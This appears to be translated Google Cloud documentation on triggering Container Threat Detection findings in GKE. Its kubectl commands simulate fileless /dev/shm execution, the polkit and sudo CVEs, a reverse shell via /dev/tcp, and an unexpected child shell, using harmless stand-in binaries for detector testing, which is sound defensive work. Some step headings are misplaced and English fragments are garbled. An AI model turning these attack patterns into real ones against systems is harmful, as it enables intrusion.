tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag"
這項測試程序會建立 Privilege Escalation: Fileless Execution in /dev/shm 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
權限提升:Polkit 本機提權安全漏洞 (CVE-2021-4034)
如要觸發 Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 發現項目,請執行 pkexec 二進位檔,並將 GCONV_PATH 環境變數設為非根使用者。這個範例會複製 /bin/ls 二進位檔來模擬 pkexec 二進位檔,並以指定參數 (使用者 ID 1000) 執行。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT啟動二進位檔,並將
/bin/echo重新導向至 Google 公用 DNS:x86 節點:
tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"ARM 節點:
tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }, "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
這項測試程序會建立Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 方案。
提權:Sudo 存在提權風險 (CVE-2021-3156)
如要觸發 Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 發現項目,請以非超級使用者身分執行 sudo 二進位檔,並使用 -s 參數和以 \`. This example copies the/bin/lsbinary to
imitate thesudo` 二進位檔結尾的參數,然後以指定參數執行該二進位檔。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT啟動二進位檔,並將
/bin/echo重新導向至 Google 公用 DNS:x86 節點:
tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }}}' \ "$tag" -- bash -c \ 'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'ARM 節點:
tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }, "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ 'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
這項測試程序會建立Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 方案。
反向殼層
如要觸發反向殼層發現項目,請啟動二進位檔,並將 stdin 重新導向至 TCP 連線的通訊端。這個範例會將 /bin/echo 複製到 /tmp/sh,然後啟動 /tmp/sh,並將其重新導向至 DNS 連接埠上的 Google 公用 DNS
8.8.8.8。執行這個範例時,不會列印任何內容。為防止透過中間人 (MITM) 攻擊注入任何外部程式碼,這個範例不會使用 /bin/sh 二進位檔。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT啟動二進位檔,並將
/bin/echo重新導向至 Google 公用 DNS:x86 節點:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"ARM 節點:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
這項測試程序會建立反向 Shell 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 方案。
非預期的子殼層
如要測試 Unexpected Child Shell 偵測工具,可以建立包含子項殼層程序的程序樹狀結構。
以下範例會建立 consul->dash 程序樹,可由 Unexpected Child Shell 偵測器偵測。這項測試只會使用內建二進位檔,因此安全無虞。這個範例會執行下列操作:
- 建立
sh程序的副本,並命名為consul。 - 複製
echo程序並命名為dash。 - 在複製的
consul程序中,叫用複製的dash程序。
如要觸發 Unexpected Child Shell 發現項目,請執行下列操作:
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用模擬
consul程序叫用模擬殼層:x86 節點:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" \ --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'ARM 節點:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
這項測試程序會建立 Unexpected Child Shell 發現項目,您可以在 Security Command Center 中查看。如果已為 Container Threat Detection 設定記錄功能,且在機構層級啟用 Security Command Center Premium 或 Enterprise,您也可以在 Cloud Logging 中查看發現項目。
為減少雜訊抑制,首次建立容器時,Container Threat Detection 會暫時篩除「Unexpected Child Shell」。如要在設定容器時查看所有「Unexpected Child Shell」結果,請在容器名稱或 Pod 名稱加上 ktd-test 前置字串,如範例所示。